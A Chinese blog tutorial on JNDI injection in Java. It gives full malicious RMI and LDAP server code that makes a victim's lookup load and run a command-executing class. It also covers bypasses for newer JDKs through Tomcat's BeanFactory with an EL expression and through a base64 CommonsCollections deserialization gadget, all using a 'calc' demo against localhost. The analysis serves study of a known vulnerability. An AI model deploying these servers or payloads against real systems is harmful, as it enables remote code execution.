JNDI
什么是JNDI
JNDI的全称是Java Naming and Directory Interface,即Java命名和目录接口,作用是为JAVA应用程序提供命名和目录访问服务的API。也就是一个字符串对应一个对象。
说白了就是把资源取个名字,再根据名字来找资源。
当你需要使用某个资源,比如一个数据库连接或一个远程服务,你不需要直接知道它在哪里或者它是如何实现的。你只需要知道它的名字,JNDI会帮你找到并获取它。
举个例子:
假设你在开发一个Java应用程序,需要连接到一个数据库。你可以使用JNDI来查找这个数据库连接,而不是在代码中硬编码数据库的地址、用户名和密码。你只需要使用一个名字,比如“jdbc/MyDatabase”,JNDI会根据这个名字找到对应的数据库连接信息。
1 2 3 4 5 6 7 8 9
| Context context = new InitialContext();
DataSource dataSource = (DataSource) context.lookup("jdbc/MyDatabase");
Connection connection = dataSource.getConnection();
|
在这个例子中,“jdbc/MyDatabase” 就是你要查找的资源,而 context.lookup("jdbc/MyDatabase")
,得到的结果是一个数据库连接。
环境
调试源码的时候有些文件是.class文件,为了阅读体验,可以按如下方法获得.java文件
下载地址:https://hg.openjdk.org/jdk8/jdk8/jdk/archive/tip.zip
IDEA–文件–项目结构–SDK–在你的jdk版本里的源路径内把下载的压缩包导入–重启IDEA即可
解释
Name(命名)
Name(命名)是指将一个对象与一个唯一的名字(名称)关联起来的过程。这类似于给某个人或事物起一个独特的名字,以便于查找和引用。在JNDI中,名字可以用来查找各种资源和对象,比如数据库连接、EJB组件、文件系统路径等。
例子:
Directory(目录)
Directory(目录)是一个层次结构的命名系统,可以存储带有属性的对象。目录不仅可以存储对象的名字,还可以存储对象的属性信息。目录服务不仅提供了简单的命名功能,还支持复杂的查询和操作。
例子:
JDK也为我们提供了⼀些服务接⼝:
LDAP (Lightweight Directory Access Protocol) 轻量级目录访问协议
CORBA (Common Object Request Broker Architecture) 公共对象请求代理结构服务
RMI(Java Remote Method Invocation)JAVA远程方法调用注册
DNS(Domain Name Service)域名服务
漏洞中涉及到最多的就是 RMI , LDAP 两种服务接口
JNDI结合RMI
原理是在服务端调用了一个 Reference
对象
Reference类
Reference类表示对存在于命名/目录系统以外的对象的引用。
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。
在使用Reference时,我们可以直接将对象写在构造方法中,当被调用时,对象的方法就会被触发。
几个比较关键的属性:
- className:远程加载时所使用的类名;
- classFactory:加载的class中需要实例化类的名称;
- classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;
JNDIRMIServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| package org.example.RMI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.InitialContext; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject;
public class JNDIRMIServer {
public interface RemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException; } public class RemoteObjImpl extends UnicastRemoteObject implements RMIServer.RemoteObj {
public RemoteObjImpl() throws RemoteException { }
@Override public String sayHello(String keywords) throws RemoteException { String upKeywords = keywords.toUpperCase(); System.out.println(upKeywords); return upKeywords; } }
public void start() throws NamingException, RemoteException { InitialContext initialContext = new InitialContext(); Registry registry = LocateRegistry.createRegistry(1099);
Reference reference=new Reference("Evil_Class_Name","JNDIEvilCode","http://localhost:7777/"); initialContext.rebind("rmi://localhost:1099/remoteObj",reference); }
public static void main(String[] args) throws Exception{ new JNDIRMIServer().start(); } }
|
JNDIRMIClient.java
1 2 3 4 5 6 7 8 9 10 11 12
| package org.example.RMI;
import javax.naming.InitialContext; import org.example.RMI.RMIServer.RemoteObj;
public class JNDIRMIClient { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj"); System.out.println(remoteObj.sayHello("hello")); } }
|
JNDIEvilCode.java
1 2 3 4 5
| public class JNDIEvilCode { public JNDIEvilCode() throws Exception { Runtime.getRuntime().exec("calc"); } }
|
JNDIRMIClient指的是我们攻击的服务器,而JNDIRMIServer是我们自己设计的恶意服务器,我们将一个恶意代码JNDIEvilCode.java编译,让我们恶意服务器去绑定这个恶意代码到注册中心。如果我们需要攻击的服务器的lookup中的name参数可控,我们就可以让他访问我们绑定的恶意代码造成漏洞。
跟进lookup,最后发现跟到了RMI原生的lookup方法,所以其实RMI攻击的方法在这里可以使用。
接着进入decodeObject函数
这里getObjectInstance方法,从名字可以判断是一个初始化的方法
在里面通过getObjectFactoryFromReference
来调用reference里面的factory
在 ref.getFactoryClassName()
中我们获取到了恶意类的名字,接着在getObjectFactoryFromReference
里面我们会去loadclass加载他。
这里有两个loadClass(factoryName)
第一次在本地加载恶意类,但是我们攻击的服务器显然不会存在一个有恶意代码的类,所以第一次加载结果为空,第二次会用URLClassLoad
加载器来加载我们恶意服务器上7777端口开放的恶意代码。
最后newInstance初始化这个恶意类来弹出计算器。
这里其实如果我们执行命令的代码放在恶意类的静态代码块,就会在classload里面执行,因为我们继续跟进helper.loadClass的话,发现最后的forname函数第二个参数是true,这就表示,加载类的时候会初始化,这里初始化指的不是调用构造函数,而是调用静态代码块。
JNDI结合LDAP
LdapServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| package org.example.LDAP;
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL;
public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { String url = "http://127.0.0.1:7777/#JNDIEvilCode"; int port = 1389; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
} }
|
JNDILdapClient.java
1 2 3 4 5 6 7 8 9 10 11 12 13
| package org.example.LDAP;
import javax.naming.InitialContext; import org.example.RMI.RMIServer.RemoteObj;
public class JNDILdapClient { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldap://localhost:1389/remoteObj"); System.out.println(remoteObj.sayHello("hello")); } }
|
漏洞触发的流程差不多,官方在jdk8u121修复基于RMI的JNDI注入时,没有修复基于Ldap的JNDI注入,直到jdk8u191
关于绕过
RMI + JNDI Reference
JDK 6u141, JDK 7u131, JDK 8u121 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider的远程类加载功能,需要将前面说的两个属性值设置为true。
不过此次更新并没有对Ladp做出限制。LDAP服务的Reference远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。不多赘述。
LDAP + JNDI Reference
在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。
根据 trustURLCodebase的值是否为true
的值来进行判断,它的值默认为 false。jdk8u191 之后的版本通过添加 trustURLCodebase 的值是否为 true
这一判断语句,让我们无法加载 codebase。
绕过JDK 8u191+等高版本
方法一:利用本地Class作为Reference Factory
在JNDI结合RMI的时候,我们返回的Reference可以指定一个Factory,在getObjectInstance函数中实例化我们的恶意Factory类造成攻击,但由于高版本的限制,我们无法将Factory指定为我们恶意服务器上的恶意Factory类,但是,我们任可以将指定Factory,只是这个Factory类必须来自受害者服务器本地ClassPath ,该恶意 Factory 类必须实现 javax.naming.spi.ObjectFactory
接口,实现该接口的 getObjectInstance() 方法。
org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛。
JNDIRMIServer_Rebind.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package org.example.JNDI_BYPASS;
import org.apache.naming.ResourceRef;
import javax.naming.InitialContext; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry;
public class JNDIRMIServer_Rebind { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); LocateRegistry.createRegistry(1099); ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","", true,"org.apache.naming.factory.BeanFactory",null ); resourceRef.add(new StringRefAddr("forceString", "x=eval")); resourceRef.add(new StringRefAddr("x","Runtime.getRuntime().exec('calc')" )); initialContext.rebind("rmi://localhost:1099/remoteObj", resourceRef); } }
|
JNDIRMIServer_EL.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package org.example.JNDI_BYPASS;
import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class JNDIRMIServer_EL { public static void main(String[] args) throws Exception { System.out.println("[*]Evil RMI Server is Listening on port: 1099"); Registry registry = LocateRegistry.createRegistry( 1099); ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + ".newInstance().getEngineByName(\"JavaScript\")" + ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")")); System.out.println("[*]Evil command: calc"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("remoteObj", referenceWrapper); } }
|
JNDIRMIClient.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package org.example.JNDI_BYPASS;
import org.apache.naming.factory.BeanFactory; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.spi.NamingManager;
public class JNDIRMIClient { public static void main(String[] args) throws Exception { String uri = "rmi://localhost:1099/remoteObj"; Context context = new InitialContext(); context.lookup(uri); } }
|
有两种恶意服务器代码构造方法,我们以第一个为例。
可以将断点打到此处,因为前面的执行逻辑与之前JNDI+RMI调用远端恶意代码一致。
在getObjectFactoryFromReference
这个函数里面,会先本地加载org.apache.naming.factory.BeanFactory这个工厂,因为这个工厂就存在于本地,所以无需调用codebase。然后回实例化这个工厂类,并且会强转成ObjectFactory类型,返回给factory,并且接下来会调用getObjectInstance
这个函数,这也是我们为什么说找的本地恶意类需要基础ObjectFactory接口并实现getObjectInstance函数。
所以接下来我们将进入BeanFactory.getObjectInstance这个函数,首先就会判断obj是否是ResourceRef类的实例,这个obj是来自我们从注册表中找到的绑定的remoteobj,所以我们绑定的时候会绑定一个ResourceRef对象。只用进入这个if里面的代码,才是getObjectInstance执行逻辑,如果进入else,就会直接返回null。
1
| initialContext.rebind("rmi://localhost:1099/remoteObj", resourceRef);
|
接着,我们会加载javax.el.ELProcessor类,并且调用了他的无参构造函数实例化了这个类。所以我们的bean就是一个ELProcessor对象,而这个是我们命令执行的语句method.invoke(bean,valueArray)第一个参数。使我们可控的。从这可以看出,我们需要实例化的类是一个有无参构造函数的类。
接着,我们会去获取开始恶意服务器上绑定的resourceRef对象中addrType等于forceString的StringRefAddr。这个StringRefAddr的contents就是我们添加的x=eval
接着代码会将x=eval
拆成x和eval,在第178行forced.put(param, beanClass.getMethod(setterName, paramTypes));
会获取javax.el.ELProcessor的eval函数,并且将x和eval这个函数方法作为键值对放入forced这个HashMap中。
接下来的while循环中,只用当获取的propName不等于scope、auth、forceString、singleton中任意一个,才能跳出循环,而propName,就是之前提到的resourceRef对象中的addrType。
很显然当propName等于我们绑定resourceRef前添加的x时跳出循环进行下一步,接着我们就会从forced这个HashMap取出键等于propName,也就是等于x对应的值,而我们之前是添加了一个x对应javax.el.ELProcessor的eval函数,所以method就是这个eval函数,接着反射调用这个方法,传入第一个值是之前实例化的javax.el.ELProcessor对象,那么就会调用这个实例化的ELProcessor对象的eval函数了,函数参数为valueArray,是个对象数组,第一个值是我们绑定resourceRef前添加的x对应的contents值,也就是”Runtime.getRuntime().exec(‘calc’)”。最后ELProcessor.eval()会对EL表达式进行求值,最终达到命令执行的效果。
方法二:LDAP返回序列化数据,触发本地Gadget
LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。当然,由于高版本jdk不信任远程类加载,我们依然是利用本地的恶意类,假如受害者服务器存在一个有漏洞的CommonsCollections库,那么就可以用我们恶意服务器返回序列化数据,是受害者服务器反序列化是触发cc链造成攻击。
JNDILDAPServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112
| package org.example.JNDI_BYPASS;
import com.unboundid.util.Base64; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import java.text.ParseException;
public class JNDILDAPServer { private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8000/#EvilObject"; int port = 1234;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); }
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); }
try { e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=")); } catch (ParseException exception) { exception.printStackTrace(); }
result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
} }
|
JNDILDAPClient.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package org.example.JNDI_BYPASS;
import com.alibaba.fastjson.JSON;
import javax.naming.Context; import javax.naming.InitialContext;
public class JNDILDAPClient { public static void main(String[] args) throws Exception { Context context = new InitialContext(); context.lookup("ldap://localhost:1234/ExportObject");
} }
|
调用堆栈
1 2 3 4 5 6 7 8 9
| deserializeObject:532, Obj (com.sun.jndi.ldap) decodeObject:239, Obj (com.sun.jndi.ldap) c_lookup:1051, LdapCtx (com.sun.jndi.ldap) p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx) lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx) lookup:205, GenericURLContext (com.sun.jndi.toolkit.url) lookup:94, ldapURLContext (com.sun.jndi.url.ldap) lookup:417, InitialContext (javax.naming) main:12, JNDILDAPClient (org.example.JNDI_BYPASS)
|
触发的payload放在了javaSerializedData变量。前面直接跟lookup,可以直接跟到c_lookup
如果var4存在JAVA_ATTRIBUTES[2]就会进入decodeObject,而JAVA_ATTRIBUTES[2]的值是javaclassname,判断成立。并且我们可以注意到var4还存在javaserializeddata,正好有我们返回的序列化数据。所以var4携带的其实就是我们恶意服务器上添加的值。
接着var1获取了刚刚var4(当前函数var0)的JAVA_ATTRIBUTES[1],也就是var4的javaSerializedData,接着会将将其作为参数传递给deserializeObject函数,在函数里面对传入的数据进行反序列化。
参考文章
[浅析JNDI注入 Mi1k7ea ]
[浅析高低版JDK下的JNDI注入及绕过 Mi1k7ea ]
深入理解JNDI注入与Java反序列化漏洞利用 – KINGX
如何绕过高版本JDK的限制进行JNDI注入利用 – KINGX
Java反序列化之JNDI学习 | Drunkbaby’s Blog (drun1baby.top)
JNDI 注入利用 Bypass 高版本 JDK 限制 (yuque.com)
攻击Java中的JNDI、RMI、LDAP(二) - Y4er的博客